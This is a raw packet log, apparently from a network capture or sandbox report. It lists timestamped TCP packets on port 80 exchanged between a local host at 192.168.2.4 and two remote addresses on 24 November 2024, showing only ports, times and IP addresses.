Nov 24, 2024 14:24:33.776676893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.776721001 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.776781082 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.776933908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.777841091 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.777893066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.777967930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.778049946 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.779069901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.779117107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.779176950 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.779216051 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.780251980 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.780289888 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.780375957 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.780414104 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.781308889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.785075903 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.788568020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.788645029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.788702011 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.789462090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.830799103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.830909967 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.830993891 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.831717014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.831764936 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.831782103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.833161116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.833283901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.833329916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.853080034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.853147030 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.853226900 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.906697035 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.912756920 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.912842989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.912882090 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.913688898 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.921864033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.921911955 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.921977043 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.922034979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.922389984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.922435045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.922504902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.922631025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.923556089 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.923656940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.923683882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.923727036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.924731016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.924778938 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.924853086 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.924951077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.925884962 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.925951004 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.925973892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.926023006 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.927021027 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.927073002 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.927134991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.927185059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.928209066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.928261042 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.928320885 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.928360939 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.929352045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.929398060 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.929469109 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.929513931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.930502892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.930619001 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.930656910 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.931638956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.931682110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.931763887 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.931807041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.932843924 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.932914019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.932951927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.933967113 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.934019089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.934081078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.934123993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.935134888 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.935174942 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.935229063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.935317993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.936294079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.936343908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.936405897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.936543941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.937436104 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.937484026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.937551975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.937624931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.938584089 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.938631058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.938669920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.938711882 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.939757109 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.939809084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.939877987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.939945936 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.940937996 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.940987110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.941061974 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.941148043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.942106009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.942156076 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.942308903 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.942352057 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.943232059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.943293095 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.943304062 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.943344116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.944470882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.944518089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.944648027 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.944711924 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.945615053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.945683002 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.945708990 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.945727110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.946738005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.946789980 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.946815014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.946856976 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.947858095 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.947913885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.947940111 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.948021889 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.949011087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.949062109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.949135065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.949177980 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.950187922 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.950228930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.950294018 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.950337887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.951361895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.951411963 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.951477051 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.951525927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.952500105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.952545881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.952626944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.952666998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.953589916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.953617096 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.953702927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.953752995 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.954802036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.954862118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.954900026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.954941034 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.956041098 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.956084013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.956104994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.956161022 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.957123995 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.957176924 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.957257032 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.957416058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.958321095 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.958362103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.958425045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.958476067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.959455013 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.959501028 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.959573030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.959650040 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.960617065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.960669041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.960706949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.960758924 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.961765051 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.961817026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.961940050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.961986065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.962924004 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.962975025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.963016987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.963088036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.964112997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.964167118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.964216948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.964257002 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.965250969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.965292931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.965348959 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.965394020 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.966398001 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.966454029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.966501951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.966547012 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.967578888 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.967624903 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.967708111 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.967755079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.968700886 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.968745947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.968837023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.968884945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.970025063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.970077038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.970221996 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.970268011 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.971055031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.971141100 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.971184969 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.972413063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.972462893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.972493887 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.972533941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.973373890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.973419905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.973488092 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.973628044 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.974682093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.974729061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.975039005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.975089073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.975697041 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.975743055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.975780010 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.975826025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.976859093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.977066994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.977092028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.977134943 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.977803946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.977968931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.977981091 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.978028059 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.978142023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.978168964 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.978182077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.978769064 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.978893995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.978939056 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.979136944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.979192972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.979322910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.979368925 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.980318069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.980365038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.980393887 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.980436087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.980715990 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.981517076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.981565952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.981677055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.981717110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.982582092 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.982630968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.006432056 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.006500006 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.006542921 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.007328987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.007380009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.023906946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.024072886 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.024102926 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.104831934 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.104866982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.104906082 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.123159885 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.123205900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.123254061 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.123297930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.123861074 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.123903036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.123934984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.123970032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.124849081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.124891996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.124917030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.124953032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.126245975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.126290083 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.126372099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.126415014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.127159119 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.127199888 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.127255917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.127296925 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.128335953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.128381014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.128458023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.128499031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.129477978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.129520893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.129703045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.129748106 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.130749941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.130795956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.130861998 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.130906105 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.131788969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.131834030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.131903887 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.131942987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.133012056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.133059978 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.133223057 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.133264065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.134136915 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.134182930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.134218931 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.134258986 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.135375023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.135420084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.135472059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.135526896 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.135560036 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.135571957 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.135616064 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:34.136435032 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.136471987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.136563063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.136574984 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:34.136606932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.137568951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.137603998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.137684107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.137729883 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.138711929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.138750076 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.138828039 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.138869047 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.140074015 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.140120029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.140295982 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.140336037 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.141185045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.141222000 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:34.141241074 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:34.141279936 CET	49815	80	192.168.2.4	185.215.113.16
